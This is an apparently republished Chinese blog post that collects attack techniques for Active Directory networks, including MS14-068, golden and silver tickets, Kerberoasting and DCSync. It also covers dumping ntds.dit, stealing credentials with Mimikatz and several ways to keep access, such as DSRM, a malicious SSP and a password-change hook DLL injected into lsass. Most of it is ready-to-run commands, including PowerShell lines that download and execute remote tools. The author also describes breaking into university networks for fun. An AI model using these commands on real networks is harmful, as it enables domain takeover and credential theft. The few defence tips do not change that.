我所了解的內網滲透——內網滲透知識大總結

在沒工作之前我常年搞各種高校的網路,邊界口漏洞多容易進入而內網機器環境多不嚴格真是內網滲透的好地方,最後被譽為」學校殺手」,之前搞學校方法簡單而粗爆很多內網常識都不懂就是各種掃,反正學校管理員的密碼都是一樣的就算不是域控密碼基本都是一樣,就算密碼不是一樣都是有規律。不過沒有任何目的就是一味著登錄各種系統的快感,輸入密碼按下回車鍵進入的快感。

信息收集

網上各種前期信息收集的文章各種net view之類的這裡就不貼了。

一般想知道哪一台是域控知道自己內網的DNS就可以了,一般域控安裝都有安裝DNS有些不止一台,其次是通過掃描獲取開放埠為389機器或者使用nltest命令查看。最後就是各種net view查看域控是哪台主機

nltest /DCLIST:pentest.comn

這裡利用PowerTools中的PowerView信息收集其實很多功能都是net命令這裡只是以PowerShell方式實現

Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString(https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1);Get-HostIP"n

更詳細參考:域滲透信息收集PowerTools

Get-NetDomain - gets the name of the current users domainnGet-NetForest - gets the forest associated with the current users domainnGet-NetForestDomains - gets all domains for the current forestnGet-NetDomainControllers - gets the domain controllers for the current computers domainnGet-NetCurrentUser - gets the current [domain]usernamenGet-NetUser - returns all user objects, or the user specified (wildcard specifiable)nGet-NetUserSPNs - gets all user ServicePrincipalNamesnGet-NetOUs - gets data for domain organization unitsnGet-NetGUIDOUs - finds domain OUs linked to a specific GUIDnInvoke-NetUserAdd - adds a local or domain usernGet-NetGroups - gets a list of all current groups in the domainnGet-NetGroup - gets data for each user in a specified domain groupnGet-NetLocalGroups - gets a list of localgroups on a remote host or hostsnGet-NetLocalGroup - gets the members of a localgroup on a remote host or hostsnGet-NetLocalServices - gets a list of running services/paths on a remote host or hostsnInvoke-NetGroupUserAdd - adds a user to a specified local or domain groupnGet-NetComputers - gets a list of all current servers in the domainnGet-NetFileServers - get a list of file servers used by current domain usersnGet-NetShare - gets share information for a specified servernGet-NetLoggedon - gets users actively logged onto a specified servernGet-NetSessions - gets active sessions on a specified servernGet-NetFileSessions - returned combined Get-NetSessions and Get-NetFilesnGet-NetConnections - gets active connections to a specific server resource (share)nGet-NetFiles - gets open files on a servernGet-NetProcesses - gets the remote processes and owners on a remote servern

獲取域方法

SYSVOL

SYSVOL是指存儲域公共文件伺服器副本的共享文件夾,它們在域中所有的域控制器之間複製。 Sysvol文件夾是安裝AD時創建的,它用來存放GPO、Script等信息。同時,存放在Sysvol文件夾中的信息,會複製到域中所有DC上。

使用Group Policy Preferences配置組策略批量修改用戶本地管理員密碼

開始->管理工具->組策略管理->在這個域中創建GPO

設置-右鍵-編輯-用戶配置-首選項-控制面板設置-本地用戶和組

更新Administrator密碼:

域伺服器一般都會共享這個文件夾,或者搜索當前機器下的XML文件將包含憑據:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。

映射驅動(Drives.xml)

數據源(DataSources.xml)

印表機配置(Printers.xml)

創建/更新服務(Services.xml)

計劃任務(ScheduledTasks.xml)

由於經過身份驗證的用戶(任何域用戶或受信任域中的用戶)具有對SYSVOL的讀取許可權

192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xmln

經過AES-256位加密

cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA"n

可以使用AES私鑰解密GPP密碼

微軟在MSDN上發布了AES加密密鑰(共享密鑰)

msdn.microsoft.com/en-u

使用PowerShell腳本解密

github.com/PowerShellMa

尋找SYSVOL里的密碼和攻擊GPP(組策略偏好)

Windows Server 2008 R2之四管理Sysvol文件夾

SYSVOL中查找密碼並利用組策略首選項

利用SYSVOL還原組策略中保存的密

防:

  • 在用於管理GPO的計算機上安裝KB2962486,以防止將新憑據置於組策略首選項中。
  • 設置Everyone訪問許可權
  • 不在組策略中使用域控密碼
  • 設置共享文件夾SYSVOL的訪問許可權
  • 刪除現有的GPP里包含密碼的xml文件。

MS14-068 Kerberos

Kerberos是西方神話中守衛地獄之門的三頭犬的名字。只所以使用這個名字是因為Kerberos需要三方的共同參與,才能完成一次事務處理。

Kerberos 是Windows活動目錄中使用的客戶/伺服器認證協議,為通信雙方提供雙向身份認證。相互認證或請求服務的實體被稱為委託人(principal)。參與的中央伺服器被稱為密鑰分發中心(簡稱KDC)。KDC有兩個服務組成:身份驗證服務(Authentication Server,簡稱AS)和票據授予服務(Ticket Granting Server,簡稱TGS)。在Windows域環境下,身份驗證服務和票據授予服務可同時運行在任何可寫域控伺服器上。

更多閱讀:

Kerberos協議的濫用

Kerberos的工作原理

最根本的問題在於許可權屬性證書可以被偽造,許可權屬性證書中存儲帳號用戶名、ID、組成員等信息,掌握域用戶一些基本信息就可以獲取域管理員許可權

攻擊者可以有效地重寫有效的Kerberos TGT身份驗證票據,使其成為域管理員(和企業管理員)

github.com/bidord/pykek

github.com/gentilkiwi/m

apt-get install krb5-usernnapt-get install rdaten

MS14-068過程:

  • 請求沒有PAC的Kerberos TGT認證票據作為標準用戶,DC回復TGT
  • 生成一個偽造的PAC,沒有密鑰,所以生成的PAC使用域用戶的密碼數據用MD5演算法而不是HMAC_MD5「簽名」。
  • 作為TGS服務票據請求的一部分,使用偽造的PAC作為授權數據發送無PAC的TGT到DC。
  • DC似乎被這個混淆了,所以它放棄了用戶發送的不含PAC的TGT,創建一個新的TGT,並將偽造的PAC插入到它自己的授權數據中,並將這個TGT發送給用戶。
  • 這個偽造PAC的TGT使得用戶可以成為易受攻擊的DC上的域管理員。

whoami /usernnpython ms14-068.py -u 域用戶@域名 -p 密碼 -s 用戶SID -d 域主機n

產生緩存的票據,在當前Kali下生成之後再放到域用戶機器中

利用mimikatz工具將得到的TGT_domainuser@SERVER.COM.ccache寫入內存,創建緩存證書:

mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exitn

klist 查看

net use k: pentest.comc$n

dir k:

相關資料:

Kerberos工具包PyKEK

深入解讀MS14-068漏洞

Kerberos安全漏洞

防:

安裝檢查KB3011780的安裝

SPN掃描

Kerberoast可以作為一個有效的方法從Active Directory中以普通用戶的身份提取服務帳戶憑據,無需向目標系統發送任何數據包

SPN 是服務在使用 Kerberos 身份驗證的網路上的唯一標識符。 它由服務類、主機名和埠組成。 在使用 Kerberos 身份驗證的網路中,必須在內置計算機帳戶(如 NetworkService 或 LocalSystem)或用戶帳戶下為伺服器註冊 SPN。 對於內置帳戶,SPN 將自動進行註冊。 但是,如果在域用戶帳戶下運行服務,則必須為要使用的帳戶手動註冊 SPN。

SPN掃描的主要好處是,SPN掃描不需要連接到網路上的每個IP來檢查服務埠,SPN通過LDAP查詢向域控執行服務發現,spn查詢是kerberos票據行為一部分,因此比較難檢測SPN掃描。

powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers); Discover-PSMSSQLServers"n

掃描SQL Server腳本

Import-Module .Get-SQLServerAccess.psm1nPS C:Get-SqlServer-Escalate-CheckAccess n[*] ---------------------------------------------------------------------- n[*] Start Time: 04/01/2014 10:00:00 n[*] Domain: mydomain.com n[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... n[*] 5 SQL Server instances found in LDAP. n[*] Attempting to login into 5 SQL Server instances as mydomainmyuser... n[*] ---------------------------------------------------------------------- n[-] Failed - server1.mydomain.com is not responding to pings n[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed n[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No n[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No n[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes n[*] ---------------------------------------------------------------------- n[*] 3 of 5 SQL Server instances could be accessed. n[*] End Time: 04/01/2014 10:02:00 n[*] Total Time: 00:02:00 n[*] ----------------------------------------------------------------------n

通過LDAP從ADS獲取SQL Server的列表,然後試圖用當前域用戶登陸每一個SQL Server。這次將輸出到CSV文件中。

PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csvn[*] ----------------------------------------------------------------------n[*] Start Time: 04/01/2014 10:00:00n[*] Domain: mydomain.comn[*] DC: dc1.mydomain.comn[*] Getting list of SQL Server instances from DC as mydomainmyuser...n[*] 5 SQL Server instances found in LDAP.n[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...n[*] ----------------------------------------------------------------------n[-] Failed - server1.mydomain.com is not responding to pingsn[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failedn[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No n[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: Non[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes n[*] ----------------------------------------------------------------------n[*] 3 of 5 SQL Server instances could be accessed. n[*] End Time: 04/01/2014 10:02:00 n[*] Total Time: 00:02:00n[*] ----------------------------------------------------------------------n

弱口令猜解

Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@#n

尋找敏感數據

Get-SQLServerAccess -query "select name as Databases from master..sysdatabases where HAS_DBACCESS(name) = 1"n

更多參考:

非掃描式的SQL Server發現

相關資料:

SPN掃描

掃描SQLServer腳本

Kerberos黃金門票

adsecurity.org/?

域服務賬號破解實踐

kerberos認證原理

深刻理解windows安全認證機制ntlm & Kerberos

Kerberos身份驗證流程

  • 密碼轉換為NTLM哈希值,時間戳使用散列加密,並作為身份驗證票據(TGT)請求(AS-REQ)中的身份驗證器發送給KDC。
  • 域控制器(KDC)檢查用戶信息(登錄限制,組成員身份等)並創建票證授予票證(TGT)。
  • TGT被加密,簽名並交付給用戶(AS-REP)。只有域中的Kerberos服務(KRBTGT)才能打開並讀取TGT數據。
  • 用戶在申請票證授予服務(TGS)票證(TGS-REQ)時向TG提交TGT。DC打開TGT並驗證PAC校驗和 – 如果DC可以打開票證和校驗和簽出,則TGT =有效。TGT中的數據被有效地複製來創建TGS票據。
  • 使用目標服務帳戶的NTLM密碼散列對TGS進行加密並發送給用戶(TGS-REP)。
  • 用戶在適當的埠上連接到託管服務的伺服器並呈現TGS(AP-REQ)。該服務使用其NTLM密碼散列打開TGS票證。

其實可以說是一種後門而不是什麼漏洞。

黃金票據是偽造TGT,可以獲取任何Kerberos服務許可權,與域控制器沒有AS-REQ或AS-REP(步驟1和2)通信。由於黃金票據是偽造的TGT,它作為TGS-REQ的一部分被發送到域控制器以獲得服務票據。

Kerberos黃金票證是有效的TGT Kerberos票證,因為它是由域Kerberos帳戶(KRBTGT)加密/簽名的 。TGT僅用於向域控制器上的KDC服務證明用戶已被其他域控制器認證。TGT被KRBTGT密碼散列加密並且可以被域中的任何KDC服務解密的事實證明它是有效的

利用條件:

1.普通域用戶

2.krbtgt ntlm hash

3.域SID

在域上抓取hash

lsadump::dcsync /domain:pentest.com /user:krbtgtn

kerberos::purgenkerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribinkerberos::ptt administrator.kiribinkerberos::tgtnnet use k: pentest.comc$n

Kerberos銀票務

攻擊者如何使用Kerberos銀票來利用系統

https://www.feiworks.com/wy/drops/域滲透——Pass%20The%20Ticket.pdf

黃金票據和白銀票據的一些區別:

Golden Ticket: 偽造TGT,可以獲取任何Kerberos服務許可權

Silver Ticket: 偽造TGS,只能訪問指定的服務

加密方式不同:

Golden Ticket 由krbtgt的hash加密

Silver Ticket 由服務賬號(通常為計算機賬戶)Hash加密

認證流程不同:

Golden Ticket在使用的過程需要同域控通信

Silver Ticket在使用的過程不需要同域控通信

用戶在適當的埠上連接到託管服務的伺服器並呈現TGS(AP-REQ)。該服務使用其NTLM密碼散列打開TGS票證。

與域控制器沒有AS-REQ / AS-REP(步驟1和2),也沒有TGS-REQ / TGS-REP(步驟3和4)通信。由於銀票是偽造的TGS,所以沒有與域控制器通信。

銀票是偽造的Kerberos票證授予服務(TGS)票據,也稱為服務票據。

域上獲取信息

mimikatz log "sekurlsa::logonpasswords"n

首先需要獲得如下信息:

/domain

/sid

/target:目標伺服器的域名全稱,此處為域控的全稱

/service:目標伺服器上面的kerberos服務,此處為cifs

/rc4:計算機賬戶的NTLM hash,域控主機的計算機賬戶

/user:要偽造的用戶名,此處可用silver測試

mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全稱 /service:要訪問的服務 /rc4:NTLM /user:silver /ptt"n

就可以訪問域的cifs共享,訪問其它是不行的,Silver Ticket是偽造的TGS,也就是說其範圍有限,只能訪問指定的服務許可權

域服務賬號破解

與上面SPN掃描類似的原理

github.com/nidem/kerber

獲取所有用作SPN的帳戶

setspn -T PENTEST.com -Q */*n

從Mimikatz的ram中提取獲得的門票

kerberos::list /exportn

用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbin

沒復現成功

憑證盜竊

最常用的手法域管理登錄歷史記錄,記得獲取某邊界許可權一個然後抓取hash並沒有域管理的,可能是搞的動靜有點大,管理員第二天上去把馬給清除了,還好留了有後門再次抓取hash直接獲取到域管理員。

大多數Active Directory管理員使用用戶帳戶登錄到其工作站,然後使用RunAs(將其管理憑據放置在本地工作站上)或RDP連接到伺服器運行Mimikatz 讀取密碼,收集密碼嘗試登錄管理員機器一般只要域管理員登錄過的機器抓取都可以獲取域控了

防: 管理員不應該拿著域用戶去登錄web伺服器或者郵件伺服器一但這些被攻破抓取的密碼就是域了

ARP

最後才是ARP欺騙不到最後不要拿出來。

Responder

cain

ettercap

BDFProxy

獲取AD Hash

攻擊者如何轉儲Active Directory資料庫

活動目錄資料庫(ntds.dit)

Active Directory域資料庫存儲在ntds.dit文件中(默認存儲在c:WindowsNTDS中,AD資料庫是Jet資料庫引擎,它使用提供數據存儲和索引服務的可擴展存儲引擎(ESE)ESE級索引使對象屬性可以快速定位。ESE確保資料庫符合ACID(原子性,一致性,隔離性和持久性) – 交易中的所有操作完成或不執行。AD ESE資料庫非常快速和可靠。

目錄分區

ntds.dit文件由三個主表組成:數據表,鏈接表和SD表。

具體詳細資料查看:

technet.microsoft.com/e

使用VSS卷影副本

什麼是卷影副本?

卷影副本,也稱為快照,是存儲在 Data Protection Manager (DPM) 伺服器上的副本的時間點副本。副本是文件伺服器上單個卷的受保護共享、文件夾和文件的完整時間點副本。

支持操作系統:

Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8

通常拿下一台伺服器時準備內網滲透,需要傳你的工具到目標機器中,而且是長久滲透的這種,為了不被發現!獲取系統SAM文件等

使用VSS卷影副本(通過WMI或PowerShell遠程處理)遠程提取ntds.dit

Windows有一個名為WMI的內置管理組件,支持遠程執行(需要管理員許可權)。WMIC是在遠程計算機上執行命令的WMI命令工具。

利用WMIC(或PowerShell遠程處理)創建(或複製現有的)VSS。

wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log"n

查看vss.log

wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1"n

wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1"n

net use k: pentest.comc$n

利用這種方法可以和上面的Kerberos票結合來實現

使用DIT Snapshot Viewer可以驗證我們是否成功地獲得了ntds.dit文件。

github.com/yosqueoy/dit

NTDSUtil獲取ntds.dit文件

Ntdsutil.exe是一個為Active Directory提供管理設施的命令行工具。

使用NTDSUTIL的IFM創建(VSS卷影副本)在DC上本地引用ntds.dit

NTDSUtil是本地處理AD DB的命令實用程序(ntds.dit),並為DCPromo啟用IFM集創建。IFM與DCPromo一起用於「從媒體安裝」,因此被升級的伺服器不需要通過網路從另一個DC複製域數據。

ntdsutil "ac i ntds" "ifm" "create full c:temp" q qn

當創建一個IFM時,VSS快照被拍攝,掛載,ntds.dit文件和相關數據被複制到目標文件夾中。

此命令也可以通過WMI或PowerShell遠程執行。

PowerShell提取ntds.dit

使用PowerSploit的Invoke-NinjaCopy遠程提取ntds.dit(需要在目標DC上啟用PowerShell遠程處理功能)。

Invoke-NinaCopy是一個PowerShell函數,它可以利用PowerShell遠程處理(必須在目標DC上啟用PowerShell遠程處理),從遠程計算機上複製文件(即使文件已鎖定,可直接訪問文件)。

github.com/PowerShellMa

IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1); Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -ComputerName "AD" -LocalDestination "C:tempntds.dit"n

使用Mimikatz提取

使用Mimikatz在提取Active Directory hash

mimikatz lsadump::lsa /inject exitn

使用RID 502的帳戶是KRBTGT帳戶,使用RID 500的帳戶是域的默認管理員。

獲取對Active Directory資料庫文件的訪問許可權(ntds.dit)

Active Directory資料庫(ntds.dit)包含有關Active Directory域中所有對象的所有信息

該文件還包含所有域用戶和計算機帳戶的密碼哈希值。

有時候域控升級等會把ntds.dit備份文件可從共享伺服器中找到可以不用直接從域控制複製

使用Mimikatz轉儲LSASS內存

sekurlsa::minidump c:templsass.dmpn

使用任務管理器(獲取域管理員憑據)轉儲LSASS內存

使用PowerShell Mimikatz

使用PowerShell

域必需要能上網否則這方法不可用

powershell IEX (New-Object Net.WebClient).DownloadString(http://is.gd/oeoFuI); Invoke-Mimikatz -Command "privilege::debug" "LSADump::LSA /inject" exitn

無程獲取

Powershell IEX (New-Object Net.WebClient).DownloadString(http://is.gd/oeoFuI); Invoke-Mimikatz -Command 『」privilege::debug」 「LSADump:LSA /inject」『 -Computer pentest.comn

Mimikatz的DCSync

使用Mimikatz的DCSync 遠程轉儲Active Directory憑證

它有效地」模擬」域控制器並向目標域控制器請求帳戶密碼數據。

使用Mimikatz的DCSync和相應的許可權,攻擊者可以通過網路從域控制器中提取密碼散列以及以前的密碼散列,而無需互動式登錄或複製Active Directory資料庫文件(ntds.dit)

運行DCSync需要特殊許可權。管理員,域管理員或企業管理員以及域控制器計算機帳戶的任何成員都能夠運行DCSync來提取密碼數據。請注意,只讀域控制器不僅可以默認為用戶提取密碼數據。

提取 KRBTGT用戶帳戶的密碼數據:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exitn

管理員用戶帳戶提取密碼數據:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exitn

NTDS.dit中提取哈希

從NTDS.dit中提取哈希

提取出來的文件通過ntdsdump是無法提取的通過esedbexport來恢復。

安裝:

wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`napt-get install autoconf automake autopoint libtool pkg-confign./configurenmakenmake installnldconfignesedbexport -m tables ntds.ditn

大概需要(20-30分鐘)

最後生成在./ntds.dit.export/

使用ntdsxtract提取域信息

git clone https://github.com/csababarta/ntdsxtract.gitnpython setup.py build && python setup.py installn

提取hash: (這裡需要將剛拷出來的三個文件中的system複製到當前目錄下)

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txtn

這樣提取出來之後已經是轉換成hashcat可破解的格式

hashcat -m 1000 ntout ./password.txtn

AD持久化

活動目錄持久性技巧

adsecurity.org/?

DS恢復模式密碼維護

DSRM密碼同步

DSRM密碼同步將域控許可權持久化

獲取到域控許可權後如何利用DSRM密碼同步將域管許可權持久化。

Windows Server 2008 需要安裝KB961320補丁才支持DSRM密碼同步,Windows Server 2003不支持DSRM密碼同步。

KB961320

support.microsoft.com/e

巧用DSRM密碼同步將域控許可權持久化

drops.xmd5.com/static/d

同步之後使用法國佬神器(mimikatz)查看krbtgt用戶和SAM中Administrator的NTLM值。

可以看到兩個賬戶的NTLM值相同,說明確實同步成功

修改註冊表允許DSRM賬戶遠程訪問

修改註冊表 hkey_local_machineSystemCurrentControlSetControlLsa 路徑下的 DSRMAdminLogonBehavior 的值為2。

系統默認不存在DSRMAdminLogonBehavior,請手動添加。

使用HASH遠程登錄域控

DSRM賬戶是域控的本地管理員賬戶,並非域的管理員帳戶。所以DSRM密碼同步之後並不會影響域的管理員帳戶。

事件查看器的安全事件中篩選事件ID為4794的事件日誌,來判斷域管是否經常進行DSRM密碼同步操作。

緩解措施

對於這個問題的唯一有效的緩解措施就是確保每一台域控制器的DSRM賬戶密碼是唯一的並且定期修改此密碼。同時,確保註冊表DsrmAdminLogonBehavior的值不為2,最好將其直接刪除或者設置其值為1或0。

Security Support Provider

adsecurity.org/?

evil0x.com/posts/11354.

直譯為安全支持提供者 又名Security Package.

簡單的理解為SSP就是一個DLL,用來實現身份認證

將mimilib.dll複製到域控c:/windows/system32下

設置SSP

修改域控註冊表位置:

HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/n

Memory Updating of SSPs

privilege::debug

misc::memssp

這樣就不需要重啟

c:/windows/system32可看到新生成的文件kiwissp.log

如果不是在域環境下生成的文件會在 system32mimilsa.log

防:

檢測註冊表位置:

HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/n

檢測%windir%/System32是否有可疑dll

SID歷史

adsecurity.org/?

SID歷史記錄允許另一個帳戶的訪問被有效地克隆到另一個帳戶

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"n

AdminSDHolder&SDProp

利用AdminSDHolder&SDProp(重新)獲取域管理許可權

adsecurity.org/?

AdminSDHolder是位於Active Directory中的系統分區

組策略

adsecurity.org/?

策略對象在持久化及橫向滲透中的應用

組策略概述

組策略使管理員能夠管理Active Directory中的計算機和用戶。組策略保存為組策略對象(GPO)

攻擊者可以濫用GPO,通過欺詐方式進一步自動化地傳播惡意軟體、實現持久化駐留目的

惡意軟體可以利用GPO穿越IDS/IPS等防火牆,最終訪問到域內所有的系統。

GPO的另一優點就是攻擊過程期間並不需要目標系統在線,一旦離線狀態下的目標系統重新登錄到域中,惡意的GPO載荷就會被投遞到目標系統。

組策略默認情況下每90分鐘(域控制器5分鐘)可包括安全選項,註冊表項,軟體安裝以及啟動和關閉腳本以及域成員刷新組策略設置。這意味著組策略在目標計算機上執行配置的設置。

SYSVOL是所有經過身份驗證的用戶具有讀取許可權的Active Directory中的域範圍共享。SYSVOL包含登錄腳本,組策略數據以及其他域控制器中需要使用的全域數據。

SYSVOL共享將自動同步並在所有域控制器之間共享。

其實我認為組策略也相當於遠控,可以把配置腳本讓域內的每一台電腦都種上馬批量執行一遍。

或者每周在所有域上運行Mimikatz獲取明文密碼,以及獲取某種類型文件這要通過編寫腳本實現。

遠程搜索某個本地文件(如proof.txt)

Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter ?Drive=』c:』 AND Filename=』proof』 AND extension=』txt』 -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique}n

一篇文章精通PowerShell Empire 2.3(上)

防:

定期審核GPO。

為GPO使用定義清晰的命名約定

記錄GPO的創建動作

Hook PasswordChangeNotify

wooyun.jozxing.cc/stati

介紹一個更加隱蔽且不需要使用Mimikatz的後門方法,通過Hook PasswordChangeNotify攔截修改的帳戶密碼。

在修改域控密碼時會進行如下同步操作:

a. 當修改域控密碼時,LSA首先調用PasswordFileter來判斷新密碼是否符合密碼複雜度要求

b. 如果符合,LSA接著調用PasswordChangeNotify在系統上同步更新密碼

函數PasswordChangeNotify存在於rassfm.dll

poc下載地址:

github.com/clymb3r/Misc

使用VS2015開發環境,MFC設置為在靜態庫中使用MFC

編譯工程,生成HookPasswordChange.dll

下載Powershell的dll注入腳本

github.com/clymb3r/Powe

在代碼尾部添加如下代碼:

Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsassn

並命名為HookPasswordChangeNotify.ps1

上傳HookPasswordChangeNotify.ps1和HookPasswordChange.dll

管理員許可權執行:

PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1n

將獲取到的密碼上傳到http伺服器:

carnal0wnage.attackresearch.com

Other

  • Kerberos AD 認證過程
  • Kerberos & KRBTGT帳號介紹
  • lapsg理解
  • Active Directory攻擊和防禦資源
  • 爛土豆 – 從服務帳戶到系統的特權升級
  • Mimikatz 非官方文檔
  • linux/UNIX/BSD 的後期滲透思路
  • Metasploit 的後期滲透思路

文章難免有些地方會錯請指證,或者有哪類內網滲透各種技巧可以發給我 qq 604865997,到時候我將會整理成書籍印出來免費送一本。

登錄安全客 - 有思想的安全新媒體www.anquanke.com/,或下載安全客APP來獲取更多最新資訊吧~


推薦閱讀:

再一次獲取你的WIFI密碼(fluxion附視頻)

TAG:网络安全 | 内网安全 | 渗透测试 |